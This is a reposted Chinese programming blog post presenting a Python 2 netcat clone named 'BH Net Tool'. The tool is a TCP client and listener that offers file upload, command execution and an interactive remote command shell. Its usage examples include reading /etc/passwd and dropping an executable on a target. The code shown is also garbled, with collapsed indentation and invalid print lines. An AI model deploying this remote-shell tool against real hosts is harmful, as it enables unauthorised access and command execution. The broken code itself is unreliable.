码迷,mamicode.com
首页 > 编程语言 > 详细

【Python】Part1 应用1-Netcat

时间:2018-05-13 22:04:35      阅读:175      评论:0      收藏:0      [点我收藏+]

标签:proc   echo   ati   tde   response   except   NPU   .exe   .so   

01 简介

netcat的主要功能是通过tcp或udp协议传输读写数据。

下面代码用python编写了tcp客户端,服务端,从而实现上传文件,本地执行命令,反弹shell三种功能。

02 代码

  1 import sys
  2 import socket
  3 import getopt
  4 import threading
  5 import subprocess
  6 
  7 listen                = False                                                #judge flag: client or server
  8 target                = ""                                                    #client: target_host(default = localhost), target_port                                
  9 port                = 0
 10 upload                = False                                                #server: 3 functions of server
 11 upload_destination     = ""
 12 execute            = ""
 13 command            = False
 14 
 15 #-------------------------------------------------------------------------------------------client: target_host, target_port
 16 def client_sender(buffer):
 17     print =========client   on ======
 18     client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)            #c-1 socket
 19     
 20     try:
 21     client.connect((target,port))                                        #c-2 connect
 22     
 23     if len(buffer):
 24         client.send(buffer)
 25         
 26     while True:                                                            #c-3 loop = handle;    handle = send + recv
 27         recv_len = 1
 28         response = ""                                                            #get response from server
 29         
 30         while recv_len:
 31         data         = client.recv(4096)
 32         recv_len     = len(data)    
 33         response     = response + data
 34         
 35         if recv_len < 4096:
 36             break
 37         
 38         print response,
 39         
 40         buffer = raw_input("")
 41         buffer =  buffer + "\n"
 42         client.send(buffer)
 43         
 44     except:
 45     print "[*] Exception ! Exiting."
 46     client.close()
 47    
 48    
 49 #-------------------------------------------------------------------------------------------server: 
 50 def run_command(command):
 51     command = command.rstrip()
 52     
 53     try:
 54     output = subprocess.check_output(command,stderr=subprocess.STDOUT,shell=True)
 55     except:
 56     output = "Failed to execute command.\r\n"
 57     
 58     return output
 59     
 60     
 61 def client_handle(client_socket):
 62     global upload
 63     global execute
 64     global command
 65     
 66     if len(upload_destination):                                              #type1 upload
 67     file_buffer = ""
 68     
 69     while True:
 70         data = client_socket.recv(1024)
 71         if not data:
 72         break
 73         else:
 74         file_buffer = file_buffer + data
 75         
 76     try:
 77         file_descriptor = open(upload_destination,"wb")
 78         file_descriptor.write(file_buffer)
 79         file_descriptor.close()
 80         
 81         client_socket.send("Successfully saved file to %s\r\n" % upload_destination)
 82     except:
 83         client_socket.send("Failed to save file to %s\r\n" % upload_destination)
 84         
 85     if len(execute):                                                    #type2 execute(local)
 86     print execute
 87     output = run_command(execute)    
 88     
 89     client_socket.send(output)
 90     
 91     if command:                                                        #type3 command(remote)
 92     while True:
 93         client_socket.send("<BHP:#> ")
 94         cmd_buffer = ""
 95         while "\n" not in cmd_buffer:
 96         cmd_buffer += client_socket.recv(1024)
 97         
 98         response = run_command(cmd_buffer)
 99         client_socket.send(response)
100     
101 def server_loop():
102     print =========server   on ======
103     global target
104     global port
105     
106     if not len(target):
107     target = "0.0.0.0"
108     
109     server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)        #s-1 socket
110     
111     server.bind((target,port))                                                #s-2 bind
112     
113     server.listen(5)                                                        #s-3 listen
114     
115     while True:                                                            #s-4 loop = accept + thread(handle) + start    ;    handle  = recv + send
116     client_socket,addr = server.accept()
117     client_thread = threading.Thread(target=client_handle,args=(client_socket,))
118     client_thread.start()
119     
120 #-------------------------------------------------------------------------------------------main
121 def usage():
122     print "BH Net Tooll"
123     print
124     print "Usage: bhnet.py -t target_host -p port"
125     print "-l    --listen        -listen on [host]:[port] for incoming connections"
126     print "-e     --execute=file_to_run    -execute the given file upon receving a connection"
127     print "-c    --command        -initialize a command shell"
128     print "-u    --upload=destination    -upon receiving connection upload a file and write to [destination]"
129     print
130     print "Examples:"
131     print "bhnet.py  -t 192.168.0.1 -p 5555 -l -c"
132     print "bhnet.py  -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
133     print "bhnet.py  -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
134     print "echo ‘ABCDEFGHI‘ | ./bhnet.py -t 192.168.11.12 -p 135"
135     sys.exit(0)
136     
137 def main():
138     global listen
139     global execute
140     global command
141     global upload_destination
142     global upload
143     global target
144     global port
145     
146     if not len(sys.argv[1:]):                            #1 parse args
147         usage()
148 
149     try:
150     opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu:",["help","listen","execute","target","port","command","upload"])
151     except getopt.GetoptError as err:
152     print str(err)
153     usage()
154     
155     for o,a in opts:
156     print "opts:" + o + "    args:" + a
157     if o in ("-h","--help"):
158         usage()
159     elif o in ("-l","--listen"):
160         listen = True
161     elif o in ("-e", "--execute"):
162         execute = a
163     elif o in ("-c", "--commandshell"):
164         command = True
165     elif o in ("-u", "--upload"):
166         upload_destination = a
167     elif o in ("-t", "--target"):
168         target = a
169     elif o in ("-p", "--port"):
170         port = int(a)
171     else:
172         assert False,"Unhandled Option"
173         
174     if not listen and len(target) and port > 0:            #as a client
175     buffer = sys.stdin.read()
176     client_sender(buffer)
177     
178     if listen:                                            #as a server
179     server_loop()
180         
181 main()

 

【Python】Part1 应用1-Netcat

标签:proc   echo   ati   tde   response   except   NPU   .exe   .so   

原文地址:https://www.cnblogs.com/sunieve/p/9033505.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!